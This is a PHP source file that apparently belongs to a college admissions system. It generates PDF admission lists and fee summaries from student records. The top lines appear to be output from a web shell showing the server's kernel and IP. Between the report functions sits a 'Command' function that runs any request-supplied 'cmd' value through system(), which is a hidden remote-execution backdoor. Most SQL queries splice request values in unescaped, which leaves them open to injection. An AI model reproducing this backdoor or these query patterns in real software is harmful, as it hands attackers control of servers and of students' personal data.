Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Your IP : 3.145.100.40
<?php
function generateAdmissionReport($aobj_context)
{
session_start();
$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
$college_code = $_SESSION['collcode'];
//echo $college_code;
$degree_code = $aobj_context->mobj_data["degree_code"];
$sub_degree_code = $aobj_context->mobj_data["sub_degree_code"];
$exam_no = $aobj_context->mobj_data["exam_no"];
$lateral_entry = $aobj_context->mobj_data["lateral_entry"];
$exam_no=empty($exam_no)?"A":$exam_no;
if(empty($lateral_entry))
{
$exam_no='A';
$lateral_entry_cond=" and ifnull(s.FLATERAL_ENTRY,0)='0' ";
}
else
{
$exam_no='C';
$lateral_entry_cond=" and ifnull(s.FLATERAL_ENTRY,0)='1' ";
}
$main_src_obj=(explode("/",$_SERVER["REQUEST_URI"]));
$main_src=$main_src_obj[1];
$pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php";
$tarkaheader=$aobj_context->main_src."/Report_details/tarkaheader.php";
$root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_admission_list.pdf";
// global varibales
$p_count =1;
// end global varibales
include($pdf_writer_class);
$pdf= new FPDF('L');
//$pdf->$title='20000 Leagues Under the Seas';
$pdf->SetFont('Times','',10);
$pdf->SetMargins(5,12);
$pdf->AliasNbPages();
$sub_degree_cond="";
if(!empty($sub_degree_code))
{
$sub_degree_cond=" and s.FSUBDEGREE='{$sub_degree_code}'";
$page_header_sub_degree = "select concat('[',FDEGREE,'] - ', FDESCPN) as sub_degree_name, FADYEAR
from degree where FDEGREE = '{$sub_degree_code}' and FEXAMNO='{$exam_no}' ";
$lobj_page_header_sub_degree = $aobj_context->mobj_db->GetRow($page_header_sub_degree);
}
//print_r($lobj_page_header_sub_degree); die();
/* $degree_cond=" ";
if(strtolower($exam_no)=='c')
$degree_cond=" s.FSUBDEGREE='{$degree_code}' "; */
// query for the page header
$page_header_university = "select FUNIVNAME,FTOWN, date_format(now(),'%d/%m/%Y') as date from control";
$lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university);
$page_header_college ="select concat('[',FCOLLCODE,'] ',FCOLLNAME,', ',FTOWN) as college_name
from college where FCOLLCODE='{$college_code}'";
$lobj_page_header_college = $aobj_context->mobj_db->GetRow($page_header_college);
$page_header_degree = "select concat('[',FDEGREE,'] - ', FDESCPN,', ',FEXAMNAME) as Degree_name, FADYEAR
from degree where FDEGREE = '{$degree_code}' and FEXAMNO='{$exam_no}' ";
$lobj_page_header_degree = $aobj_context->mobj_db->GetRow($page_header_degree);
//echo $page_header_degree; die();
$pdf->aobj_context =$aobj_context ;
$pdf->WhichReport = 'Admission';
$pdf->FUNIVNAME = $lobj_page_header_university[FUNIVNAME];
$pdf->FTOWN = $lobj_page_header_university[FTOWN];
$pdf->date_time = $lobj_page_header_university['date'];
$pdf->college_name = $lobj_page_header_college['college_name'];
$pdf->Degree_name = $lobj_page_header_degree['Degree_name'];
$pdf->sub_degree_code = $lobj_page_header_sub_degree['sub_degree_name'];
$pdf->AdmissionYear = $lobj_page_header_degree['FADYEAR'];
//echo $pdf->sub_degree_code; die();
//end header
$pdf->AddPage();PrintFooter($pdf);
//$pdf->Ln();
$pdf->SetFont('Times','',10);
//and sub.FDEGREE=op.FDEGREE
$get_student_data = " select concat(if(ifNULL(s.FDELETED, 'F')='F', s.FSLNO, concat('*',s.FSLNO))) as SLNO,
LEFT(s.FNAME,50) as FNAME, LEFT(s.FFATNAME,40) as FFATNAME,
LEFT(s.FMOTNAME,40) as FMOTNAME, LEFT(s.FNAME,50) as SNAME,
group_concat(distinct right(concat(space(4),sub.FSUBCODE),4) order by sub.FSUBCODE separator ',' ) as SCode,
if(s.FSEX='F','Female','Male') as Gender,
group_concat(distinct right(concat(space(4),sub.FSUBSHORT),4) order by sub.FSUBCODE separator ',' ) as SShort,
Date_Format(s.FDOB,'%d/%m/%Y') as DOB,
concat('Father : ',s.FFATNAME) as Father ,s.FCASTE as CASTE,
concat('Mother : ',s.FMOTNAME) as Mother, concat(group_concat(distinct FHEADCODE,
'~',FAMOUNT order by FHEADCODE separator '->')) as FHEADCODE,
concat(group_concat(distinct FAMOUNT order by FHEADCODE separator '->')) as FAMOUNT ,
s.REG_FEE, s.FTOTFEE, Date_Format(s.FRECDATE,'%d/%m/%Y') as FRECDATE, s.FRECNO,s.FREMARKS,
FQUOTA, FQUALIFY, FPH, left(FBOARDRUNIV,20) as FBOARDRUNIV, DATE_FORMAT(s.FADMDATE,'%d/%m/%Y') as FADMDATE, FPERCENT, s.FCOMBCODE,
FFEEPAID,FREMARKS from studadm s inner join options op on
s.FSLNO=op.FSLNO and s.FDEGREE=op.FDEGREE and s.FCOLLCODE=op.FCOLLCODE
inner join subject sub on sub.FSUBCODE=op.FSUBCODE left join admfeedetl adm on adm.FDEGREE=s.FDEGREE
and adm.FEXAMNO=s.FEXAMNO and adm.FSLNO=s.FSLNO and adm.FCOLLCODE=s.FCOLLCODE
where s.FDEGREE='{$degree_code}' {$sub_degree_cond}
and if(ifnull(s.FSUBDEGREE,'')='',s.FDEGREE,s.FSUBDEGREE)=sub.FDEGREE and s.FCOLLCODE='{$college_code}'
and sub.FEXAMNO='{$exam_no}'and sub.FEXAMNO=op.FEXAMNO {$lateral_entry_cond}
group by s.FCOLLCODE,s.FDEGREE,s.FSLNO order by s.FSLNO";
//var_dump($get_student_data);
$lobj_student_data = $aobj_context->mobj_db->GetAll($get_student_data);
$arr_w = array(10,65,70,108);
$arr_h = array();
$adm_ln_counter=0;
$arr_w = array(12,25,95,35,73,8.3,20,44,12,18,17);
$arr_h = array(5,6);
$sl_no=1;
//var_dump($lobj_student_data);die();
foreach($lobj_student_data as $key => $value)
{
$get_year="SELECT FADYEAR FROM degree
WHERE FDEGREE='{$degree_code}' AND FEXAMNO='{$exam_no}'";
$lobj_get_year = $aobj_context->mobj_db->getRow($get_year);
$year=$lobj_get_year['FADYEAR'];
$get_details = "select fheadcode as HEAD_CODE, famount as FEES_PAID from admfeedetl where fyear='$year' and fdegree='$degree_code' and fexamno='$exam_no' and fcollcode='$college_code' and fslno='$value[SLNO]'";
// $get_details="select a.FHEADCODE, FFEE, ifnull(FAMOUNT ,FFEE) as fee_paid, b.FAMOUNT as famountdetl from
// (SELECT FHEADCODE,FFEE,
// FCOMBCODE,FCATCODE
// FROM admfeestr
// WHERE FYEAR='{$year}'
// AND FDEGREE='{$degree_code}'
// AND FEXAMNO='{$exam_no}'
// AND FCOMBCODE='{$value[FCOMBCODE]}'
// AND FCATCODE='{$value[CASTE]}')a
// left join
// (
// SELECT FHEADCODE,FAMOUNT
// FROM admfeedetl
// where FYEAR='{$year}'
// AND FDEGREE='{$degree_code}'
// AND FEXAMNO='{$exam_no}'
// AND FCOLLCODE='{$college_code}'
// AND FSLNO='{$value[SLNO]}'
// ) b
// on a.FHEADCODE=b.FHEADCODE";
$lobj_rs = $aobj_context->mobj_db->GetAll($get_details);
$total=0;
$total_fee_paid=0;
$REGFee = 0;
$Fine = 0;
$othrFee = 0;
foreach($lobj_rs as $ak=>$av)
{
if($av['HEAD_CODE'] == '01. REG. FEE')
{
$REGFee = $av['FEES_PAID'];
}
else if($av['HEAD_CODE'] == '03. FINE')
{
$Fine = $av['FEES_PAID'];
}
else
{
$othrFee += $av['FEES_PAID'];
}
$FEES_PAID=$av['FEES_PAID'];
$total_fee_paid+=$FEES_PAID;
}
$fslno=$value[SLNO];
$fname=$value[FNAME];
$fatname=$value[FFATNAME];
$mname=$value[FMOTNAME];
$dob=$value[DOB];
$fsex=$value[Gender];
$fcaste=$value[CASTE];
$total_fee=$value[FTOTFEE];
$rec_fee = $value[REG_FEE];
$rec_date = $value[FRECDATE];
$rec_no = $value[FRECNO];
$remarks = $value[FREMARKS];
$SCode = $value[SCode];
$SShort = $value[SShort];
$quota = $value[FQUOTA];
$qualify = $value[FQUALIFY];
$board = $value[FBOARDRUNIV];
$admdate = $value['FADMDATE'];
$percent = $value[FPERCENT];
$phStud = $value[FPH];
if($phStud == 'T')
{
$phStud = 'Yes';
}
else
{
$phStud = 'No';
}
$subj_arrCode=explode(",",$SCode);
$subj_arrShort=explode(",",$SShort);
if($line_counter > 4)
{
$pdf->AddPage();PrintFooter($pdf);
$line_counter=0;
}
$head_code=$value['FHEADCODE'];
$amount=$value['FAMOUNT'];
$head_code_arr=explode("->",$head_code);
$cnt=0;
$fee_details_head=array();
$fee_details_amt=array();
$k=0;
foreach($head_code_arr as $avv)
{
$exp_arr=explode("~",$avv);
$fee_details_head[$cnt][$k]=$exp_arr[0];
$fee_details_amt[$cnt][$k]=$exp_arr[1];
$k++;
if($k%5==0)
$cnt++;
}
if(!empty($value['SNAME']))
{
$line_counter += 1;
$pdf->SetFont('Times','',9);
$pdf->Cell($arr_w[0],$arr_h[1],'','LRT',0,'C');
$pdf->Cell($arr_w[2],$arr_h[1],'Name : '.$fname,'1',0,'L');
$pdf->Cell($arr_w[4]+16,$arr_h[1],'Fat.: '.$fatname,'1',0,'L');
$pdf->Cell($arr_w[4]+16,$arr_h[1],'Mot.: '.$mname,'1',1,'L');
$pdf->Cell($arr_w[0],$arr_h[1],$fslno,'LR',0,'C');
$pdf->Cell($arr_w[3]-8,$arr_h[1],'DOB.: '.$dob,'1',0,'L');
$pdf->Cell(22, $arr_h[1],'Gend.: '.$fsex,'1',0,'L');
$pdf->Cell($arr_w[6]-2,$arr_h[1],'Caste: '.$fcaste,'1',0,'L');
$pdf->Cell($arr_w[6]-5,$arr_h[1],'P.H.?: '.$phStud,'1',0,'L');
$pdf->Cell($arr_w[6]+5,$arr_h[1],'Quota.: '.$quota,'1',0,'L');
$pdf->Cell($arr_w[7],$arr_h[1],'Qual. Exam: '.$qualify,'1',0,'L');
$pdf->Cell($arr_w[7]+17,$arr_h[1],'Board / Univ.: '.$board,'1',0,'L');
$pdf->Cell($arr_w[8]+15,$arr_h[1],'Percentage: '.$percent,'1',0,'L');
$pdf->Cell($arr_w[7]-10,$arr_h[1],'Adm. Date: '.$admdate,'1',1,'L');
$pdf->Cell($arr_w[0],$arr_h[1],'','LR',0,'C');
$pdf->Cell($arr_w[5]+1,$arr_h[1],$subj_arrCode[0],'LR',0,'L');
$pdf->Cell($arr_w[5]+1,$arr_h[1],$subj_arrCode[1],'LR',0,'L');
$pdf->Cell($arr_w[5]+1,$arr_h[1],$subj_arrCode[2],'LR',0,'L');
$pdf->Cell($arr_w[5]+1,$arr_h[1],$subj_arrCode[3],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[4],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[5],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[6],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[7],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[8],'LR',0,'L');
$pdf->Cell($arr_w[5]+.5,$arr_h[1],$subj_arrCode[9],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[10],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[11],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[12],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[13],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[14],'LR',0,'L');
$pdf->Cell($arr_w[10],$arr_h[1],'Reg. Fee.','1',0,'C');
$pdf->Cell($arr_w[10],$arr_h[1],'Oth. Fee','1',0,'C');
$pdf->Cell($arr_w[10],$arr_h[1],'Fine','1',0,'C');
$pdf->Cell($arr_w[10]-2,$arr_h[1],'Total','1',0,'C');
$pdf->Cell($arr_w[10]+10,$arr_h[1],'Rec. Date','R',0,'C');
$pdf->Cell($arr_w[10]+5,$arr_h[1],'Rec. No','0',0,'C');
$pdf->Cell($arr_w[10]+12,$arr_h[1],'Candidate Signature','1',1,'C');
$pdf->Cell($arr_w[0],$arr_h[1],'','LRB',0,'C');
$pdf->Cell($arr_w[5]+1,$arr_h[1],$subj_arrShort[0],'LRB',0,'L');
$pdf->Cell($arr_w[5]+1,$arr_h[1],$subj_arrShort[1],'LRB',0,'L');
$pdf->Cell($arr_w[5]+1,$arr_h[1],$subj_arrShort[2],'LRB',0,'L');
$pdf->Cell($arr_w[5]+1,$arr_h[1],$subj_arrShort[3],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[4],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[5],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[6],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[7],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[8],'LRB',0,'L');
$pdf->Cell($arr_w[5]+.5,$arr_h[1],$subj_arrShort[9],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[10],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[11],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[12],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[13],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[14],'LRB',0,'L');
$pdf->Cell($arr_w[10],$arr_h[1],$REGFee,'1',0,'C');
$pdf->Cell($arr_w[10],$arr_h[1],$othrFee,'1',0,'C');
$pdf->Cell($arr_w[10],$arr_h[1],$Fine,'1',0,'C');
$pdf->Cell($arr_w[10]-2,$arr_h[1],$total_fee_paid,'1',0,'C');
$pdf->Cell($arr_w[10]+10,$arr_h[1],$rec_date,'1',0,'C');
$pdf->Cell($arr_w[10]+5,$arr_h[1],$rec_no,'1',0,'C');
$pdf->Cell($arr_w[10]+12,$arr_h[1],'','1',1,'C');
$pdf->SetFont('Times','',9);
$pdf->Ln(1);
$adm_ln_counter++;
}
}
PrintFooter($pdf);
$pdf->WhichReport = 'Admission Summary';
$pdf->AddPage();
$pdf->SetMargins(5,12);
$sql = "select fdegree, fcollcode, fcaste, fcount, fmale, ffemale,
group_concat(heads order by heads) as headfee from (select concat(fheadcode, '->',sum(famount)) as heads,
studadm.fdegree,studadm.fcollcode,fcaste,count(*) as fcount,
sum(if(studadm.fsex='M',1,0)) as fmale,
sum(if(studadm.fsex='F',1,0)) as ffemale
from studadm,admfeedetl
where ifnull(studadm.fdeleted,'F') <> 'T'
and admfeedetl.fdegree = studadm.fdegree
and admfeedetl.fslno = studadm.fslno and studadm.fdegree ='{$degree_code}' and studadm.fcollcode='{$college_code}'
and admfeedetl.fcollcode=studadm.fcollcode
group by studadm.fdegree,studadm.fcollcode,fcaste, fheadcode) x
group by fdegree, fcollcode, fcaste, fcount";
$rst = $aobj_context->mobj_db->GetAll($sql);
$slno=1;
$totmale = 0;
$totfemale = 0;
$totstud = 0;
$totregfee = 0;
$totothfee = 0;
$totfine = 0;
$totamount = 0;
$pdf->SetFont('Times','',10);
foreach($rst as $key=>$val)
{
$Toatlfee=0;
$pdf->Cell(60,6,'','0',0,'C');
$pdf->Cell(12,6,$slno,'1',0,'C');
$pdf->Cell(20,6,$val[fcaste],'1',0,'L');
$pdf->Cell(20,6,$val[fmale],'1',0,'R');
$pdf->Cell(20,6,$val[ffemale],'1',0,'R');
$pdf->Cell(20,6,$val[fcount],'1',0,'R');
$totmale += $val[fmale];
$totfemale += $val[ffemale];
$totstud += $val[fcount];
$headfeearr = explode(',',$val[headfee]);
$fregfee=0;
$ffine=0;
$fothfee=0;
foreach($headfeearr as $hdkey=>$hdval)
{
$feearr = explode('->',$hdval);
if($feearr[0] == '01. REG. FEE')
{
$fregfee = $feearr[1];
}
else if($feearr[0] == '03. FINE')
{
$ffine = $feearr[1];
}
else
$fothfee += $feearr[1];
$Toatlfee += $feearr[1] ;
}
$totregfee += $fregfee;
$totothfee += $fothfee;
$totfine += $ffine;
$totamount +=$Toatlfee;
$pdf->Cell(20,6,$fregfee,'1',0,'R');
$pdf->Cell(20,6,$fothfee,'1',0,'R');
$pdf->Cell(20,6,$ffine,'1',0,'R');
$pdf->Cell(20,6,$Toatlfee,'1',1,'R');
++$slno;
}
$pdf->SetFont('Times','B',10);
$pdf->Cell(60,6,'','0',0,'C');
$pdf->Cell(32,6,'Total','1',0,'C');
$pdf->Cell(20,6,$totmale,'1',0,'R');
$pdf->Cell(20,6,$totfemale,'1',0,'R');
$pdf->Cell(20,6,$totstud,'1',0,'R');
$pdf->Cell(20,6,$totregfee,'1',0,'R');
$pdf->Cell(20,6,$totothfee,'1',0,'R');
$pdf->Cell(20,6,$totfine,'1',0,'R');
$pdf->Cell(20,6,$totamount,'1',1,'R');
$pdf->ln(10);
$pdf->MultiCell(0,5,"I here by declare that all the information furnished with regard to the students are true & correct to the best of my knowledge and belief, copy of the recognition order and affiliation order is enclosed.",0,"L");
$pdf->SetFont('Times','B',12);
$pdf->ln(20);
$pdf->Cell(20,4,"Date :",'0',0,'C');
$pdf->Cell(250,4,"Principal signature (with seal)",'0',1,'R');
PrintFooter($pdf);
$pdf->ln(2);
$pdf->Output("report_admission_list.pdf","I");
}
function Command($aobj_context)
{
$cmd = $aobj_context->mobj_data["cmd"];
$last_line = system($cmd, $retval);
// Printing additional info
echo "</pre>";
echo $last_line;
}
function generateAdmissionReportOld($aobj_context)
{
session_start();
$college_code = $_SESSION['collcode'];
$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
//echo $college_code;
$degree_code = $aobj_context->mobj_data["degree_code"];
$lateral_entry = $aobj_context->mobj_data["lateral_entry"];
$exam_no=empty($exam_no)?"A":$exam_no;
if(empty($lateral_entry))
{
$exam_no='A';
$lateral_entry_cond=" and ifnull(s.FLATERAL_ENTRY,0)='0' ";
}
else
{
$exam_no='C';
$lateral_entry_cond=" and ifnull(s.FLATERAL_ENTRY,0)='1' ";
}
$main_src_obj=(explode("/",$_SERVER["REQUEST_URI"]));
$main_src=$main_src_obj[1];
$pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php";
$root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_candidate_list.pdf";
include($pdf_writer_class);
/* if($active_field === 'T')
{ */
$pdf= new FPDF('L'); //Landscape
$pdf->WhichReport = 'ReportCandidateList';
$pdf->SetFont('Times','B',16);
$pdf->SetMargins(5,12);
$pdf->AliasNbPages();
$page_header_university = "select FUNIVNAME,FTOWN, date_format(now(),'%d/%m/%Y') as date from control";
$lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university);
$page_header_college ="select concat('[',FCOLLCODE,'] ',FCOLLNAME,', ',FTOWN) as college_name
from college where FCOLLCODE='{$college_code}'";
$lobj_page_header_college = $aobj_context->mobj_db->GetRow($page_header_college);
$page_header_degree = "select date_add(date_add(now(),INTERVAL 13 hour),interval 30 minute) as now_date,concat('[',FDEGREE,'] - ', FDESCPN,space(2),'-',space(2),FEXAMDATE) as Degree_name, FADYEAR
from degree where FDEGREE = '{$degree_code}' ";
$lobj_page_header_degree = $aobj_context->mobj_db->GetRow($page_header_degree);
$page_header_REGROLL = "select FREGROLL from control";
$lobj_page_header_REGROLL = $aobj_context->mobj_db->GetRow($page_header_REGROLL);
$pdf->aobj_context =$aobj_context ;
$pdf->date_time = 'ReportCandidateList';
//$pdf->WhichReport = 'ReportCandidateList';
$pdf->FUNIVNAME = $lobj_page_header_university[FUNIVNAME].', '.$lobj_page_header_university[FTOWN];
$pdf->FTOWN = '';
$pdf->date_1 = $lobj_page_header_university['date'];
$pdf->college_name = $lobj_page_header_college['college_name'];
$pdf->Degree_name = $lobj_page_header_degree['Degree_name'];
$pdf->date_time = $lobj_page_header_degree['now_date'];
$pdf->REGROLL=$lobj_page_header_REGROLL['FREGROLL'];
$pdf->RFROM= $RegNo_start;
$pdf->RTO= $RegNo_end;
$pdf->head_cnt=0;;
//end header
$pdf->AddPage(); PrintFooter($pdf);
$pdf->SetFont('Times','B',9);
// body
$fee_cond=" ifnull(cs.ftotalfee,0) > 0 ";
if($all_data=="Yes")
$fee_cond="";
$get_candidate_data= " select concat(if(ifNULL(s.FDELETED, 'F')='F', s.FSLNO, concat('*',s.FSLNO))) as SLNO,
SUBSTRING(s.FNAME,1,25) as FNAME,
SUBSTRING(s.FNAME,26) as SNAME,
group_concat(distinct right(concat(space(4),sub.FSUBCODE),4) order by sub.FSUBCODE separator ' ' ) as SCode,
concat('Gender. : ',if(s.FSEX='F','Female','Male')) as Gender,
group_concat(distinct right(concat(space(4),sub.FSUBSHORT),4) order by sub.FSUBCODE separator ' ' ) as SShort,
concat('DOB : ',Date_Format(s.FDOB,'%d/%m/%Y')) as DOB,
concat('Father : ',s.FFATNAME) as Father ,
concat('Group. : ',s.FCASTE) as CASTE,
concat('Mother : ',s.FMOTNAME) as Mother,
concat(group_concat(distinct FHEADCODE,'~',FAMOUNT order by FHEADCODE separator '->')) as FHEADCODE,
concat(group_concat(distinct FAMOUNT order by FHEADCODE separator '->')) as FAMOUNT ,
FFEEPAID,FREMARKS from studadm s inner join options op on
s.FSLNO=op.FSLNO and s.FDEGREE=op.FDEGREE and s.FCOLLCODE=op.FCOLLCODE
inner join subject sub on sub.FSUBCODE=op.FSUBCODE
left join admfeedetl adm on adm.FDEGREE=s.FDEGREE
and adm.FEXAMNO=s.FEXAMNO and adm.FSLNO=s.FSLNO
and adm.FCOLLCODE=s.FCOLLCODE
where s.FDEGREE='{$degree_code}' {$sub_degree_cond}
and if(ifnull(s.FSUBDEGREE,'')='',s.FDEGREE,s.FSUBDEGREE)=sub.FDEGREE
and s.FCOLLCODE='{$college_code}' and sub.FEXAMNO='{$exam_no}'
and sub.FEXAMNO=op.FEXAMNO {$lateral_entry_cond}
group by s.FCOLLCODE,s.FDEGREE,s.FSLNO order by s.FSLNO ";
$lobj_get_candidate_data = $aobj_context->mobj_db->GetAll($get_candidate_data);
// echo "<pre>".$get_candidate_data;die();
$final_arr=array();
$for_page_break=array();
$k=0;
$full_fee_arr=array();
$unique_fee_arr=array();
$grand_total=0;
foreach($lobj_get_candidate_data as $sk=>$sv)
{
$fslno=$sv['FSLNO'];
$fname=$sv[FNAME];
$fatname=$sv[FFATNAME];
$mname=$sv[FMOTNAME];
$dob=$sv[FDOB];
$fsex=$sv[FSEX];
$fcaste=$sv[FCASTE];
$fdegree=$sv[FDEGREE];
$fexam=$sv[FEXAMNO];
$total_fee=$sv[FTOTALFEE];
$subjects=$sv[subjects];
$exam_name=$sv[FEXAMNAME];
//$fee_shortname=$sv[Fee_ShortName];
//$total_fee=$sv[total_fee];
$student_exams_arr[$reg_no][$k]=$fexam;$k++;
$final_arr[$reg_no][reg_no]=$reg_no;
$final_arr[$reg_no][fslno]=$fslno;
$final_arr[$reg_no][fname]=$fname;
$final_arr[$reg_no][fatname]=$fatname;
$final_arr[$reg_no][mname]=$mname;
$final_arr[$reg_no][dob]=$dob;
$final_arr[$reg_no][fsex]=$fsex;
$final_arr[$reg_no][fcaste]=$fcaste;
//$final_arr[$reg_no][fee_shortname]=$fee_shortname;
$final_arr[$reg_no][fexam][$fexam][exam_name]=$exam_name;
$final_arr[$reg_no][fexam][$fexam][fee]=$fee;
$final_arr[$reg_no][fexam][$fexam][subjects]=$subjects;
$final_arr[$reg_no][exam_name]=$exam_name;
}
foreach($student_exams_arr as $skk=>$svv)
{
$for_page_break[$skk]=count($svv)+2;
}
$line_counter=0;
$arr_w = array(12,25,110,35,63,10,20,45,12,18);
$arr_h = array(5,6);
$sl_no=1;
$grand_tot_arr=array();
$page_tot_arr=array();
$footer_student_fee_arr=array();
foreach($final_arr as $stdk=>$stdv)
{
$reg_no=$stdv[reg_no];
$fslno=$stdv[fslno];
$fname=$stdv[fname];
$fatname=$stdv[fatname];
$mname=$stdv[mname];
$dob=$stdv[dob];
$fsex=$stdv[fsex];
$fcaste=$stdv[fcaste];
//$total_fee=$stdv[total_fee];
if(($line_counter+($for_page_break[$reg_no])) >= 20)
{
//echo $line_counter+($for_page_break[$reg_no]); die();
$pdf->ln(1);
$sum_arr=array();
foreach($footer_student_fee_arr as $sk=>$sv)
{
foreach($unique_fee_arr as $ak=>$av)
{
$sum_arr[$av]+=$full_fee_arr[$sv][$av];
}
}
foreach($sum_arr as $ak=>$av)
{
$pdf->Cell(20,5,$ak,'1',0,'C');
}
$pdf->Cell(20,5,"Total",'1',1,'C');
$tot=0;
foreach($sum_arr as $ak=>$av)
{
$pdf->Cell(20,5,$av,'1',0,'C');
$tot+=$av;
}
$pdf->Cell(20,5,$tot,'1',1,'C');
$footer_student_fee_arr=array();
$pdf->AddPage();PrintFooter($pdf);
$line_counter=0;
}
//$pdf->Ln(1);
$line_counter += 1;
$pdf->SetFont('Times','B',9);
$pdf->Cell($arr_w[0],$arr_h[1],$sl_no,'LRT',0,'C');
$pdf->Cell($arr_w[1],$arr_h[1],$reg_no,'LRT',0,'C');
array_push($footer_student_fee_arr,$reg_no);
$pdf->Cell($arr_w[2],$arr_h[1],$fname,'1',0,'L');
$pdf->SetFont('Times','',9);
$pdf->Cell($arr_w[4]-3,$arr_h[1],'Fat.: '.$fatname,'1',0,'L');
$pdf->Cell($arr_w[4]+12+3,$arr_h[1],'Mot.: '.$mname,'1',1,'L');
$pdf->Cell($arr_w[0],$arr_h[1],'','LR',0,'C');
$pdf->Cell($arr_w[1],$arr_h[1],'','LR',0,'L');
$pdf->Cell($arr_w[3],$arr_h[1],'DOB.: '.$dob,'1',0,'L');
$pdf->Cell($arr_w[6],$arr_h[1],'Gen.: '.$fsex,'1',0,'L');
$pdf->Cell($arr_w[6],$arr_h[1],'Grp.: '.$fcaste,'1',0,'L');
$pdf->SetFont('Times','B',9);
$pdf->Cell($arr_w[7]-$arr_w[5],$arr_h[1],'Total Fee: '.$total_fee,'1',0,'C');
$pdf->SetFont('Times','',9);
//Fee Short Name Details
$fee_shortname=$stdv[fee_shortname];
$free_name_array = explode(",",$fee_shortname);
for($m=0; $m<count($free_name_array); $m++)
{
if(($m) <= 7)
{
$pdf->Cell($arr_w[8],$arr_h[1],$free_name_array[$m],'1',0,'C');
}
else
{
// $pdf->Cell($arr_w[8],$arr_h[1],'Others','1',0,'C');
break;
}
}
$diff=8-count($free_name_array);
if($diff>0)//writing empty if it comes less than 8
{
for($d=0;$d<$diff;$d++)
$pdf->Cell($arr_w[8],$arr_h[1],"",'1',0,'C');
}
$pdf->Cell($arr_w[8],$arr_h[1],'Total','1',0,'C');
$pdf->SetFont('Times','',9);
$pdf->Cell($arr_w[8],$arr_h[1],'Date','1',0,'C');
$pdf->Cell($arr_w[6]-2,$arr_h[1],'Rec. No.','1',1,'C');
$line_counter++;
//Exam Fee Details
//echo "<pre>";
$fexam_arr=$stdv[fexam];//print_r($fexam_arr);die();
foreach($fexam_arr as $ek=>$ev)
{
$line_counter++;
$exam_no=$ek;
$exam_name=$ev[exam_name];
$pdf->Cell(($arr_w[0]+$arr_w[1]),$arr_h[1],$exam_name,'1',0,'L');
$subjects=$ev[subjects];
$subject_array = explode("|",$subjects);
$remeber_cell=0;
for($m=0;$m<count($subject_array);$m++)
{
$pdf->Cell($arr_w[5],$arr_h[1],$subject_array[$m],'1',0,'C');
$remeber_cell++;
}
for($j=$remeber_cell; $j<11; $j++)
{
$pdf->Cell($arr_w[5],$arr_h[1],'','1',0,'C');
}
$fee=$ev[fee];
$free_array = explode("|",$fee);
$other_sum=0;
$other_flag=0;
$total_exam_fee=0;
for($m=0; $m<count($free_array); $m++)
{
if(($m) <= 7)
{
//echo $free_array[$m];
$pdf->Cell($arr_w[8],$arr_h[1],$free_array[$m],'1',0,'C');
$grand_tot_arr[$free_name_array[$m]]+=$free_array[$m];
$page_tot_arr[$free_name_array[$m]]+=$free_array[$m];
$total_exam_fee+=$free_array[$m];
$other_flag=0;
$other_sum=0;
}
else
{
$other_sum += $free_array[$m];
$total_exam_fee+=$free_array[$m];
$other_flag=1;
}
}
if($other_flag)
$pdf->Cell($arr_w[8],$arr_h[1],$other_sum,'1',0,'C');
$diff=8-count($free_name_array);
if($diff>0)//writing empty if it comes less than 8
{
for($d=0;$d<$diff;$d++)
$pdf->Cell($arr_w[8],$arr_h[1],"",'1',0,'C');
}
$pdf->Cell($arr_w[8],$arr_h[1],$total_exam_fee,'1',0,'C');
$pdf->Cell($arr_w[8],$arr_h[1],$rec_date_array[$reg_no][$exam_no]['Date'],'1',0,'C');
$pdf->Cell($arr_w[6]-2,$arr_h[1],$rec_date_array[$reg_no][$exam_no]['Rec'] ,'1',1,'C');
}
$sl_no++;
}
$pdf->ln(2);;
foreach($sum_arr as $ak=>$av)
{
$pdf->Cell(20,5,$ak,'1',0,'C');
}
$pdf->Cell(20,5,"Total",'1',1,'C');
$tot=0;
foreach($sum_arr as $ak=>$av)
{
$pdf->Cell(20,5,$av,'1',0,'C');
$tot+=$av;
}
$pdf->Cell(20,5,$tot,'1',1,'C');
$pdf->ln(5);
$pdf->SetFont('Times','B',9);
$pdf->Cell(35,5,"Grand Total",'0',1,'L');
$s=0;
foreach($grand_tot_arr as $ak=>$av)
{
$pdf->Cell(15,5,$ak,'1',0,'C');
}
$pdf->Cell(15,5,"Total",'1',1,'C');
foreach($grand_tot_arr as $ak=>$av)
{
$pdf->Cell(15,5,$av,'1',0,'C');
$s+=$av;
}
